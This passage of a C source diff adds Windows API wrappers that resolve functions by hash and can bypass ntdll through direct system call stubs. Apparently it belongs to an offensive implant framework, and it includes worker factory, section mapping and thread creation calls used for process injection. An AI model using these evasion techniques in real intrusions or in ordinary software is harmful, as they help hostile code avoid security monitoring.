GetFunctionH(NTDLL_DLL, H_NtOpenThread); - dprintf("[WINAPI][winapi_ntdll_NtOpenThread] Calling NtOpenThread @ %p", pNtOpenThread); - if (pNtOpenThread) { - return pNtOpenThread(ThreadHandle, DesiredAccess, ObjectAttributes, ClientId); +NTSTATUS winapi_ntdll_ZwOpenThread(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId) { + NTSTATUS (NTAPI *pZwOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId) = GetFunctionH(NTDLL_DLL, H_ZwOpenThread); + dprintf("[WINAPI][winapi_ntdll_ZwOpenThread] Calling ZwOpenThread @ %p", pZwOpenThread); + if (pZwOpenThread) { + return pZwOpenThread(ThreadHandle, DesiredAccess, ObjectAttributes, ClientId); } return 0xC0000001; // STATUS_UNSUCCESSFUL } @@ -398,6 +356,183 @@ NTSTATUS winapi_ntdll_RtlGetVersion(PRTL_OSVERSIONINFOEXW os) { } return 0xC0000001; } + +NTSTATUS winapi_ntdll_ZwQueryInformationProcess(HANDLE ProcessHandle, INT ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength) { + if (hasDirectSyscallSupport()) { + ULONG_PTR lpArgs[] = { (ULONG_PTR)ProcessHandle, (ULONG_PTR)ProcessInformationClass, (ULONG_PTR)ProcessInformation, (ULONG_PTR)ProcessInformationLength, (ULONG_PTR)ReturnLength }; + return SyscallStub(lpWinApiSyscalls[ZwQueryInformationProcess], sizeof(lpArgs) / sizeof(ULONG_PTR), (ULONG_PTR *)&lpArgs); + } else { + NTSTATUS (NTAPI *pZwQueryInformationProcess)(HANDLE, INT, PVOID, ULONG, PULONG) = GetFunctionH(NTDLL_DLL, H_ZwQueryInformationProcess); + dprintf("[WINAPI][winapi_ntdll_ZwQueryInformationProcess] Calling ZwQueryInformationProcess @ %p", pZwQueryInformationProcess); + if (pZwQueryInformationProcess) { + return pZwQueryInformationProcess(ProcessHandle, ProcessInformationClass, ProcessInformation, ProcessInformationLength, ReturnLength); + } + } + return 0xC0000001; +} + +NTSTATUS winapi_ntdll_ZwQueryObject(HANDLE Handle, INT ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength) { + if (hasDirectSyscallSupport()) { + ULONG_PTR lpArgs[] = { (ULONG_PTR)Handle, (ULONG_PTR)ObjectInformationClass, (ULONG_PTR)ObjectInformation, (ULONG_PTR)ObjectInformationLength, (ULONG_PTR)ReturnLength }; + return SyscallStub(lpWinApiSyscalls[ZwQueryObject], sizeof(lpArgs) / sizeof(ULONG_PTR), (ULONG_PTR *)&lpArgs); + } else { + NTSTATUS (NTAPI *pZwQueryObject)(HANDLE, INT, PVOID, ULONG, PULONG) = GetFunctionH(NTDLL_DLL, H_ZwQueryObject); + dprintf("[WINAPI][winapi_ntdll_ZwQueryObject] Calling ZwQueryObject @ %p", pZwQueryObject); + if (pZwQueryObject) { + return pZwQueryObject(Handle, ObjectInformationClass, ObjectInformation, ObjectInformationLength, ReturnLength); + } + } + return 0xC0000001; +} + +NTSTATUS winapi_ntdll_ZwQueryInformationWorkerFactory(HANDLE WorkerFactoryHandle, INT WorkerFactoryInformationClass, PVOID WorkerFactoryInformation, ULONG WorkerFactoryInformationLength, PULONG ReturnLength) { + if (hasDirectSyscallSupport()) { + ULONG_PTR lpArgs[] = { (ULONG_PTR)WorkerFactoryHandle, (ULONG_PTR)WorkerFactoryInformationClass, (ULONG_PTR)WorkerFactoryInformation, (ULONG_PTR)WorkerFactoryInformationLength, (ULONG_PTR)ReturnLength }; + return SyscallStub(lpWinApiSyscalls[ZwQueryInformationWorkerFactory], sizeof(lpArgs) / sizeof(ULONG_PTR), (ULONG_PTR *)&lpArgs); + } else { + NTSTATUS (NTAPI *pZwQueryInformationWorkerFactory)(HANDLE, INT, PVOID, ULONG, PULONG) = GetFunctionH(NTDLL_DLL, H_ZwQueryInformationWorkerFactory); + dprintf("[WINAPI][winapi_ntdll_ZwQueryInformationWorkerFactory] Calling ZwQueryInformationWorkerFactory @ %p", pZwQueryInformationWorkerFactory); + if (pZwQueryInformationWorkerFactory) { + return pZwQueryInformationWorkerFactory(WorkerFactoryHandle, WorkerFactoryInformationClass, WorkerFactoryInformation, WorkerFactoryInformationLength, ReturnLength); + } + } + return 0xC0000001; +} + +NTSTATUS winapi_ntdll_ZwSetInformationWorkerFactory(HANDLE WorkerFactoryHandle, INT WorkerFactoryInformationClass, PVOID WorkerFactoryInformation, ULONG WorkerFactoryInformationLength) { + if (hasDirectSyscallSupport()) { + ULONG_PTR lpArgs[] = { (ULONG_PTR)WorkerFactoryHandle, (ULONG_PTR)WorkerFactoryInformationClass, (ULONG_PTR)WorkerFactoryInformation, (ULONG_PTR)WorkerFactoryInformationLength }; + return SyscallStub(lpWinApiSyscalls[ZwSetInformationWorkerFactory], sizeof(lpArgs) / sizeof(ULONG_PTR), (ULONG_PTR *)&lpArgs); + } else { + NTSTATUS (NTAPI *pZwSetInformationWorkerFactory)(HANDLE, INT, PVOID, ULONG) = GetFunctionH(NTDLL_DLL, H_ZwSetInformationWorkerFactory); + dprintf("[WINAPI][winapi_ntdll_ZwSetInformationWorkerFactory] Calling ZwSetInformationWorkerFactory @ %p", pZwSetInformationWorkerFactory); + if (pZwSetInformationWorkerFactory) { + return pZwSetInformationWorkerFactory(WorkerFactoryHandle, WorkerFactoryInformationClass, WorkerFactoryInformation, WorkerFactoryInformationLength); + } + } + return 0xC0000001; +} + +NTSTATUS winapi_ntdll_ZwSetIoCompletion(HANDLE IoCompletionHandle, PVOID KeyContext, PVOID ApcContext, NTSTATUS IoStatus, ULONG_PTR IoStatusInformation) { + if (hasDirectSyscallSupport()) { + ULONG_PTR lpArgs[] = { (ULONG_PTR)IoCompletionHandle, (ULONG_PTR)KeyContext, (ULONG_PTR)ApcContext, (ULONG_PTR)IoStatus, (ULONG_PTR)IoStatusInformation }; + return SyscallStub(lpWinApiSyscalls[ZwSetIoCompletion], sizeof(lpArgs) / sizeof(ULONG_PTR), (ULONG_PTR *)&lpArgs); + } else { + NTSTATUS (NTAPI *pZwSetIoCompletion)(HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR) = GetFunctionH(NTDLL_DLL, H_ZwSetIoCompletion); + dprintf("[WINAPI][winapi_ntdll_ZwSetIoCompletion] Calling ZwSetIoCompletion @ %p", pZwSetIoCompletion); + if (pZwSetIoCompletion) { + return pZwSetIoCompletion(IoCompletionHandle, KeyContext, ApcContext, IoStatus, IoStatusInformation); + } + } + return 0xC0000001; +} + +NTSTATUS winapi_ntdll_RtlCreateUserThread(HANDLE ProcessHandle, PVOID SecurityDescriptor, BOOL CreateSuspended, ULONG StackZeroBits, SIZE_T StackReserve, SIZE_T StackCommit, PVOID StartAddress, PVOID StartParameter, PHANDLE ThreadHandle, PVOID ClientId) { + NTSTATUS (NTAPI *pRtlCreateUserThread)(HANDLE, PVOID, BOOL, ULONG, SIZE_T, SIZE_T, PVOID, PVOID, PHANDLE, PVOID) = GetFunctionH(NTDLL_DLL, H_RtlCreateUserThread); + dprintf("[WINAPI][winapi_ntdll_RtlCreateUserThread] Calling RtlCreateUserThread @ %p", pRtlCreateUserThread); + if (pRtlCreateUserThread) { + return pRtlCreateUserThread(ProcessHandle, SecurityDescriptor, CreateSuspended, StackZeroBits, StackReserve, StackCommit, StartAddress, StartParameter, ThreadHandle, ClientId); + } + return 0xC0000001; +} + +NTSTATUS winapi_ntdll_ZwMapViewOfSection(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG ZeroBits, ULONG CommitSize, PLARGE_INTEGER SectionOffset, PULONG ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect) { + if (hasDirectSyscallSupport()) { + ULONG_PTR lpArgs[] = { (ULONG_PTR)SectionHandle, (ULONG_PTR)ProcessHandle, (ULONG_PTR)BaseAddress, (ULONG_PTR)ZeroBits, (ULONG_PTR)CommitSize, (ULONG_PTR)SectionOffset, (ULONG_PTR)ViewSize, (ULONG_PTR)InheritDisposition, (ULONG_PTR)AllocationType, (ULONG_PTR)Win32Protect }; + return SyscallStub(lpWinApiSyscalls[ZwMapViewOfSection], sizeof(lpArgs) / sizeof(ULONG_PTR), (ULONG_PTR *)&lpArgs); + } else { + NTSTATUS (NTAPI *pZwMapViewOfSection)(HANDLE, HANDLE, PVOID*, ULONG, ULONG, PLARGE_INTEGER, PULONG, DWORD, ULONG, ULONG) = GetFunctionH(NTDLL_DLL, H_ZwMapViewOfSection); + dprintf("[WINAPI][winapi_ntdll_ZwMapViewOfSection] Calling ZwMapViewOfSection @ %p", pZwMapViewOfSection); + if (pZwMapViewOfSection) { + return pZwMapViewOfSection(SectionHandle, ProcessHandle, BaseAddress, ZeroBits, CommitSize, SectionOffset, ViewSize, InheritDisposition, AllocationType, Win32Protect); + } + } + return 0xC0000001; +} + +NTSTATUS winapi_ntdll_ZwCreateSection(PHANDLE SectionHandle, ULONG DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PLARGE_INTEGER MaximumSize, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle) { + if (hasDirectSyscallSupport()) { + ULONG_PTR lpArgs[] = { (ULONG_PTR)SectionHandle, (ULONG_PTR)DesiredAccess, (ULONG_PTR)ObjectAttributes, (ULONG_PTR)MaximumSize, (ULONG_PTR)SectionPageProtection, (ULONG_PTR)AllocationAttributes, (ULONG_PTR)FileHandle }; + return SyscallStub(lpWinApiSyscalls[ZwCreateSection], sizeof(lpArgs) / sizeof(ULONG_PTR), (ULONG_PTR *)&lpArgs); + } else { + NTSTATUS (NTAPI *pZwCreateSection)(PHANDLE, ULONG, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE) = GetFunctionH(NTDLL_DLL, H_ZwCreateSection); + dprintf("[WINAPI][winapi_ntdll_ZwCreateSection] Calling ZwCreateSection @ %p", pZwCreateSection); + if (pZwCreateSection) { + return pZwCreateSection(SectionHandle, DesiredAccess, ObjectAttributes, MaximumSize, SectionPageProtection, AllocationAttributes, FileHandle); + } + } + return 0xC0000001; +} + +NTSTATUS winapi_ntdll_ZwOpenSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes) { + if (hasDirectSyscallSupport()) { + ULONG_PTR lpArgs[] = { (ULONG_PTR)SectionHandle, (ULONG_PTR)DesiredAccess, (ULONG_PTR)ObjectAttributes }; + return SyscallStub(lpWinApiSyscalls[ZwOpenSection], sizeof(lpArgs) / sizeof(ULONG_PTR), (ULONG_PTR *)&lpArgs); + } else { + NTSTATUS (NTAPI *pZwOpenSection)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES) = GetFunctionH(NTDLL_DLL, H_ZwOpenSection); + dprintf("[WINAPI][winapi_ntdll_ZwOpenSection] Calling ZwOpenSection @ %p", pZwOpenSection); + if (pZwOpenSection) { + return pZwOpenSection(SectionHandle, DesiredAccess, ObjectAttributes); + } + } + return 0xC0000001; +} + +NTSTATUS winapi_ntdll_ZwOpenFile(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PVOID IoStatusBlock, ULONG ShareAccess, ULONG OpenOptions) { + if (hasDirectSyscallSupport()) { + ULONG_PTR lpArgs[] = { (ULONG_PTR)FileHandle, (ULONG_PTR)DesiredAccess, (ULONG_PTR)ObjectAttributes, (ULONG_PTR)IoStatusBlock, (ULONG_PTR)ShareAccess, (ULONG_PTR)OpenOptions }; + return SyscallStub(lpWinApiSyscalls[ZwOpenFile], sizeof(lpArgs) / sizeof(ULONG_PTR), (ULONG_PTR *)&lpArgs); + } else { + NTSTATUS (NTAPI *pZwOpenFile)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PVOID, ULONG, ULONG) = GetFunctionH(NTDLL_DLL, H_ZwOpenFile); + dprintf("[WINAPI][winapi_ntdll_ZwOpenFile] Calling ZwOpenFile @ %p", pZwOpenFile); + if (pZwOpenFile) { + return pZwOpenFile(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, ShareAccess, OpenOptions); + } + } + return 0xC0000001; +} + +NTSTATUS winapi_ntdll_ZwQueryAttributesFile(POBJECT_ATTRIBUTES ObjectAttributes, PVOID FileInformation) { + if (hasDirectSyscallSupport()) { + ULONG_PTR lpArgs[] = { (ULONG_PTR)ObjectAttributes, (ULONG_PTR)FileInformation }; + return SyscallStub(lpWinApiSyscalls[ZwQueryAttributesFile], sizeof(lpArgs) / sizeof(ULONG_PTR), (ULONG_PTR *)&lpArgs); + } else { + NTSTATUS (NTAPI *pZwQueryAttributesFile)(POBJECT_ATTRIBUTES, PVOID) = GetFunctionH(NTDLL_DLL, H_ZwQueryAttributesFile); + dprintf("[WINAPI][winapi_ntdll_ZwQueryAttributesFile] Calling ZwQueryAttributesFile @ %p", pZwQueryAttributesFile); + if (pZwQueryAttributesFile) { + return pZwQueryAttributesFile(ObjectAttributes, FileInformation); + } + } + return 0xC0000001; +} + +NTSTATUS winapi_ntdll_ZwClose(HANDLE Handle) { + if (hasDirectSyscallSupport()) { + ULONG_PTR lpArgs[] = { (ULONG_PTR)Handle }; + return SyscallStub(lpWinApiSyscalls[ZwClose], sizeof(lpArgs) / sizeof(ULONG_PTR), (ULONG_PTR *)&lpArgs); + } else { + NTSTATUS (NTAPI *pZwClose)(HANDLE) = GetFunctionH(NTDLL_DLL, H_ZwClose); + dprintf("[WINAPI][winapi_ntdll_ZwClose] Calling ZwClose @ %p", pZwClose); + if (pZwClose) { + return pZwClose(Handle); + } + } + return 0xC0000001; +} + +NTSTATUS winapi_ntdll_ZwLockVirtualMemory(HANDLE ProcessHandle, PVOID* BaseAddress, PULONG RegionSize, ULONG MapType) { + if (hasDirectSyscallSupport()) { + ULONG_PTR lpArgs[] = { (ULONG_PTR)ProcessHandle, (ULONG_PTR)BaseAddress, (ULONG_PTR)RegionSize, (ULONG_PTR)MapType }; + return SyscallStub(lpWinApiSyscalls[ZwLockVirtualMemory], sizeof(lpArgs) / sizeof(ULONG_PTR), (ULONG_PTR *)&lpArgs); + } else { + NTSTATUS (NTAPI *pZwLockVirtualMemory)(HANDLE, PVOID*, PULONG, ULONG) = GetFunctionH(NTDLL_DLL, H_ZwLockVirtualMemory); + dprintf("[WINAPI][winapi_ntdll_ZwLockVirtualMemory] Calling ZwLockVirtualMemory @ %p", pZwLockVirtualMemory); + if (pZwLockVirtualMemory) { + return pZwLockVirtualMemory(ProcessHandle, BaseAddress, RegionSize, MapType); + } + } + return 0xC0000001; +} // END: ntdll.dll // START: kernel32.dll @@ -816,7 +951,251 @@ BOOL winapi_kernel32_SetThreadErrorMode(DWORD dwNewMode, LPDWORD lpOldMode) { return FALSE; } +HMODULE winapi_kernel32_GetModuleHandleA(LPCSTR lpModuleName) { + HMODULE (WINAPI *pGetModuleHandleA)(LPCSTR) = GetFunctionH(KERNEL32_DLL, H_GetModuleHandleA); + dprintf("[WINAPI][winapi_kernel32_GetModuleHandleA] Calling GetModuleHandleA @ %p", pGetModuleHandleA); + if (pGetModuleHandleA) { + return pGetModuleHandleA(lpModuleName); + } + return NULL; +} + +HANDLE winapi_kernel32_CreateFileW(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile) { + HANDLE (WINAPI *pCreateFileW)(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE) = GetFunctionH(KERNEL32_DLL, H_CreateFileW); + dprintf("[WINAPI][winapi_kernel32_CreateFileW] Calling CreateFileW @ %p", pCreateFileW); + if (pCreateFileW) { + return pCreateFileW(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile); + } + return INVALID_HANDLE_VALUE; +} + +HANDLE winapi_kernel32_CreateNamedPipeW(LPCWSTR lpName, DWORD dwOpenMode, DWORD dwPipeMode, DWORD nMaxInstances, DWORD nOutBufferSize, DWORD nInBufferSize, DWORD nDefaultTimeOut, LPSECURITY_ATTRIBUTES lpSecurityAttributes) { + HANDLE (WINAPI *pCreateNamedPipeW)(LPCWSTR, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, LPSECURITY_ATTRIBUTES) = GetFunctionH(KERNEL32_DLL, H_CreateNamedPipeW); + dprintf("[WINAPI][winapi_kernel32_CreateNamedPipeW] Calling CreateNamedPipeW @ %p", pCreateNamedPipeW); + if (pCreateNamedPipeW) { + return pCreateNamedPipeW(lpName, dwOpenMode, dwPipeMode, nMaxInstances, nOutBufferSize, nInBufferSize, nDefaultTimeOut, lpSecurityAttributes); + } + return INVALID_HANDLE_VALUE; +} + +HANDLE winapi_kernel32_CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName) { + HANDLE (WINAPI *pCreateEventA)(LPSECURITY_ATTRIBUTES, BOOL, BOOL, LPCSTR) = GetFunctionH(KERNEL32_DLL, H_CreateEventA); + dprintf("[WINAPI][winapi_kernel32_CreateEventA] Calling CreateEventA @ %p", pCreateEventA); + if (pCreateEventA) { + return pCreateEventA(lpEventAttributes, bManualReset, bInitialState, lpName); + } + return NULL; +} + +HANDLE winapi_kernel32_CreateEventW(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCWSTR lpName) { + HANDLE (WINAPI *pCreateEventW)(LPSECURITY_ATTRIBUTES, BOOL, BOOL, LPCWSTR) = GetFunctionH(KERNEL32_DLL, H_CreateEventW); + dprintf("[WINAPI][winapi_kernel32_CreateEventW] Calling CreateEventW @ %p", pCreateEventW); + if (pCreateEventW) { + return pCreateEventW(lpEventAttributes, bManualReset, bInitialState, lpName); + } + return NULL; +} + +BOOL winapi_kernel32_SetEvent(HANDLE hEvent) { + BOOL (WINAPI *pSetEvent)(HANDLE) = GetFunctionH(KERNEL32_DLL, H_SetEvent); + dprintf("[WINAPI][winapi_kernel32_SetEvent] Calling SetEvent @ %p", pSetEvent); + if (pSetEvent) { + return pSetEvent(hEvent); + } + return FALSE; +} + +DWORD winapi_kernel32_WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds) { + DWORD (WINAPI *pWaitForSingleObject)(HANDLE, DWORD) = GetFunctionH(KERNEL32_DLL, H_WaitForSingleObject); + dprintf("[WINAPI][winapi_kernel32_WaitForSingleObject] Calling WaitForSingleObject @ %p", pWaitForSingleObject); + if (pWaitForSingleObject) { + return pWaitForSingleObject(hHandle, dwMilliseconds); + } + return WAIT_FAILED; +} + +VOID winapi_kernel32_Sleep(DWORD dwMilliseconds) { + VOID (WINAPI *pSleep)(DWORD) = GetFunctionH(KERNEL32_DLL, H_Sleep); + dprintf("[WINAPI][winapi_kernel32_Sleep] Calling Sleep @ %p", pSleep); + if (pSleep) { + pSleep(dwMilliseconds); + } +} + +HANDLE winapi_kernel32_GetProcessHeap(VOID) { + HANDLE (WINAPI *pGetProcessHeap)(VOID) = GetFunctionH(KERNEL32_DLL, H_GetProcessHeap); + dprintf("[WINAPI][winapi_kernel32_GetProcessHeap] Calling GetProcessHeap @ %p", pGetProcessHeap); + if (pGetProcessHeap) { + return pGetProcessHeap(); + } + return NULL; +} + +LPVOID winapi_kernel32_HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes) { + LPVOID (WINAPI *pHeapAlloc)(HANDLE, DWORD, SIZE_T) = GetFunctionH(KERNEL32_DLL, H_HeapAlloc); + dprintf("[WINAPI][winapi_kernel32_HeapAlloc] Calling HeapAlloc @ %p", pHeapAlloc); + if (pHeapAlloc) { + return pHeapAlloc(hHeap, dwFlags, dwBytes); + } + return NULL; +} + +BOOL winapi_kernel32_HeapFree(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem) { + BOOL (WINAPI *pHeapFree)(HANDLE, DWORD, LPVOID) = GetFunctionH(KERNEL32_DLL, H_HeapFree); + dprintf("[WINAPI][winapi_kernel32_HeapFree] Calling HeapFree @ %p", pHeapFree); + if (pHeapFree) { + return pHeapFree(hHeap, dwFlags, lpMem); + } + return FALSE; +} + +BOOL winapi_kernel32_IsWow64Process(HANDLE hProcess, PBOOL Wow64Process) { + BOOL (WINAPI *pIsWow64Process)(HANDLE, PBOOL) = GetFunctionH(KERNEL32_DLL, H_IsWow64Process); + dprintf("[WINAPI][winapi_kernel32_IsWow64Process] Calling IsWow64Process @ %p", pIsWow64Process); + if (pIsWow64Process) { + return pIsWow64Process(hProcess, Wow64Process); + } + return FALSE; +} + +BOOL winapi_kernel32_ProcessIdToSessionId(DWORD dwProcessId, DWORD* pSessionId) { + BOOL (WINAPI *pProcessIdToSessionId)(DWORD, DWORD*) = GetFunctionH(KERNEL32_DLL, H_ProcessIdToSessionId); + dprintf("[WINAPI][winapi_kernel32_ProcessIdToSessionId] Calling ProcessIdToSessionId @ %p", pProcessIdToSessionId); + if (pProcessIdToSessionId) { + return pProcessIdToSessionId(dwProcessId, pSessionId); + } + return FALSE; +} + +DWORD winapi_kernel32_GetCurrentThreadId(VOID) { + DWORD (WINAPI *pGetCurrentThreadId)(VOID) = GetFunctionH(KERNEL32_DLL, H_GetCurrentThreadId); + dprintf("[WINAPI][winapi_kernel32_GetCurrentThreadId] Calling GetCurrentThreadId @ %p", pGetCurrentThreadId); + if (pGetCurrentThreadId) { + return pGetCurrentThreadId(); + } + return 0; +} + // END: kernel32.dll +// START: kernel32 extensions.dll + +LPVOID winapi_kernel32_HeapReAlloc(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes) { + LPVOID (WINAPI *pHeapReAlloc)(HANDLE, DWORD, LPVOID, SIZE_T) = GetFunctionH(KERNEL32_DLL, H_HeapReAlloc); + dprintf("[WINAPI][winapi_kernel32_HeapReAlloc] Calling HeapReAlloc @ %p", pHeapReAlloc); + if (pHeapReAlloc) { + return pHeapReAlloc(hHeap, dwFlags, lpMem, dwBytes); + } + return NULL; +} + +HLOCAL winapi_kernel32_LocalAlloc(UINT uFlags, SIZE_T uBytes) { + HLOCAL (WINAPI *pLocalAlloc)(UINT, SIZE_T) = GetFunctionH(KERNEL32_DLL, H_LocalAlloc); + dprintf("[WINAPI][winapi_kernel32_LocalAlloc] Calling LocalAlloc @ %p", pLocalAlloc); + if (pLocalAlloc) { + return pLocalAlloc(uFlags, uBytes); + } + return NULL; +} + +VOID winapi_kernel32_GetSystemTime(LPSYSTEMTIME lpSystemTime) { + VOID (WINAPI *pGetSystemTime)(LPSYSTEMTIME) = GetFunctionH(KERNEL32_DLL, H_GetSystemTime); + dprintf("[WINAPI][winapi_kernel32_GetSystemTime] Calling GetSystemTime @ %p", pGetSystemTime); + if (pGetSystemTime) { + pGetSystemTime(lpSystemTime); + } +} + +BOOL winapi_kernel32_SystemTimeToFileTime(const SYSTEMTIME* lpSystemTime, LPFILETIME lpFileTime) { + BOOL (WINAPI *pSystemTimeToFileTime)(const SYSTEMTIME*, LPFILETIME) = GetFunctionH(KERNEL32_DLL, H_SystemTimeToFileTime); + dprintf("[WINAPI][winapi_kernel32_SystemTimeToFileTime] Calling SystemTimeToFileTime @ %p", pSystemTimeToFileTime); + if (pSystemTimeToFileTime) { + return pSystemTimeToFileTime(lpSystemTime, lpFileTime); + } + return FALSE; +} + +int winapi_kernel32_MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar) { + int (WINAPI *pMultiByteToWideChar)(UINT, DWORD, LPCCH, int, LPWSTR, int) = GetFunctionH(KERNEL32_DLL, H_MultiByteToWideChar); + dprintf("[WINAPI][winapi_kernel32_MultiByteToWideChar] Calling MultiByteToWideChar @ %p", pMultiByteToWideChar); + if (pMultiByteToWideChar) { + return pMultiByteToWideChar(CodePage, dwFlags, lpMultiByteStr, cbMultiByte, lpWideCharStr, cchWideChar); + } + return 0; +} + +int winapi_kernel32_WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar) { + int (WINAPI *pWideCharToMultiByte)(UINT, DWORD, LPCWCH, int, LPSTR, int, LPCCH, LPBOOL) = GetFunctionH(KERNEL32_DLL, H_WideCharToMultiByte); + dprintf("[WINAPI][winapi_kernel32_WideCharToMultiByte] Calling WideCharToMultiByte @ %p", pWideCharToMultiByte); + if (pWideCharToMultiByte) { + return pWideCharToMultiByte(CodePage, dwFlags, lpWideCharStr, cchWideChar, lpMultiByteStr, cbMultiByte, lpDefaultChar, lpUsedDefaultChar); + } + return 0; +} + +BOOL winapi_kernel32_PeekNamedPipe(HANDLE hNamedPipe, LPVOID lpBuffer, DWORD nBufferSize, LPDWORD lpBytesRead, LPDWORD lpTotalBytesAvail, LPDWORD lpBytesLeftThisMessage) { + BOOL (WINAPI *pPeekNamedPipe)(HANDLE, LPVOID, DWORD, LPDWORD, LPDWORD, LPDWORD) = GetFunctionH(KERNEL32_DLL, H_PeekNamedPipe); + dprintf("[WINAPI][winapi_kernel32_PeekNamedPipe] Calling PeekNamedPipe @ %p", pPeekNamedPipe); + if (pPeekNamedPipe) { + return pPeekNamedPipe(hNamedPipe, lpBuffer, nBufferSize, lpBytesRead, lpTotalBytesAvail, lpBytesLeftThisMessage); + } + return FALSE; +} + +BOOL winapi_kernel32_SetNamedPipeHandleState(HANDLE hNamedPipe, LPDWORD lpMode, LPDWORD lpMaxCollectionCount, LPDWORD lpCollectDataTimeout) { + BOOL (WINAPI *pSetNamedPipeHandleState)(HANDLE, LPDWORD, LPDWORD, LPDWORD) = GetFunctionH(KERNEL32_DLL, H_SetNamedPipeHandleState); + dprintf("[WINAPI][winapi_kernel32_SetNamedPipeHandleState] Calling SetNamedPipeHandleState @ %p", pSetNamedPipeHandleState); + if (pSetNamedPipeHandleState) { + return pSetNamedPipeHandleState(hNamedPipe, lpMode, lpMaxCollectionCount, lpCollectDataTimeout); + } + return FALSE; +} + +BOOL winapi_kernel32_ReleaseMutex(HANDLE hMutex) { + BOOL (WINAPI *pReleaseMutex)(HANDLE) = GetFunctionH(KERNEL32_DLL, H_ReleaseMutex); + dprintf("[WINAPI][winapi_kernel32_ReleaseMutex] Calling ReleaseMutex @ %p", pReleaseMutex); + if (pReleaseMutex) { + return pReleaseMutex(hMutex); + } + return FALSE; +} + +HANDLE winapi_kernel32_CreateMutexA(LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCSTR lpName) { + HANDLE (WINAPI *pCreateMutexA)(LPSECURITY_ATTRIBUTES, BOOL, LPCSTR) = GetFunctionH(KERNEL32_DLL, H_CreateMutexA); + dprintf("[WINAPI][winapi_kernel32_CreateMutexA] Calling CreateMutexA @ %p", pCreateMutexA); + if (pCreateMutexA) { + return pCreateMutexA(lpMutexAttributes, bInitialOwner, lpName); + } + return NULL; +} + +HANDLE winapi_kernel32_CreateMutexW(LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCWSTR lpName) { + HANDLE (WINAPI *pCreateMutexW)(LPSECURITY_ATTRIBUTES, BOOL, LPCWSTR) = GetFunctionH(KERNEL32_DLL, H_CreateMutexW); + dprintf("[WINAPI][winapi_kernel32_CreateMutexW] Calling CreateMutexW @ %p", pCreateMutexW); + if (pCreateMutexW) { + return pCreateMutexW(lpMutexAttributes, bInitialOwner, lpName); + } + return NULL; +} + +BOOL winapi_kernel32_TerminateThread(HANDLE hThread, DWORD dwExitCode) { + BOOL (WINAPI *pTerminateThread)(HANDLE, DWORD) = GetFunctionH(KERNEL32_DLL, H_TerminateThread); + dprintf("[WINAPI][winapi_kernel32_TerminateThread] Calling TerminateThread @ %p", pTerminateThread); + if (pTerminateThread) { + return pTerminateThread(hThread, dwExitCode); + } + return FALSE; +} + +int winapi_kernel32_lstrcmpW(LPCWSTR lpString1, LPCWSTR lpString2) { + int (WINAPI *plstrcmpW)(LPCWSTR, LPCWSTR) = GetFunctionH(KERNEL32_DLL, H_lstrcmpW); + dprintf("[WINAPI][winapi_kernel32_lstrcmpW] Calling lstrcmpW @ %p", plstrcmpW); + if (plstrcmpW) { + return plstrcmpW(lpString1, lpString2); + } + return 0; +} + +// END: kernel32 extensions.dll // START: advapi32.dll BOOL winapi_advapi32_OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle) { @@ -990,6 +1369,33 @@ BOOL winapi_advapi32_LookupPrivilegeValueW(LPCWSTR lpSystemName, LPCWSTR lpName, return FALSE; } +BOOL winapi_advapi32_CryptAcquireContextA(HCRYPTPROV* phProv, LPCSTR szContainer, LPCSTR szProvider, DWORD dwProvType, DWORD dwFlags) { + BOOL (WINAPI *pCryptAcquireContextA)(HCRYPTPROV*, LPCSTR, LPCSTR, DWORD, DWORD) = GetFunctionH(ADVAPI32_DLL, H_CryptAcquireContextA); + dprintf("[WINAPI][winapi_advapi32_CryptAcquireContextA] Calling CryptAcquireContextA @ %p", pCryptAcquireContextA); + if (pCryptAcquireContextA) { + return pCryptAcquireContextA(phProv, szContainer, szProvider, dwProvType, dwFlags); + } + return FALSE; +} + +BOOL winapi_advapi32_CryptAcquireContextW(HCRYPTPROV* phProv, LPCWSTR szContainer, LPCWSTR szProvider, DWORD 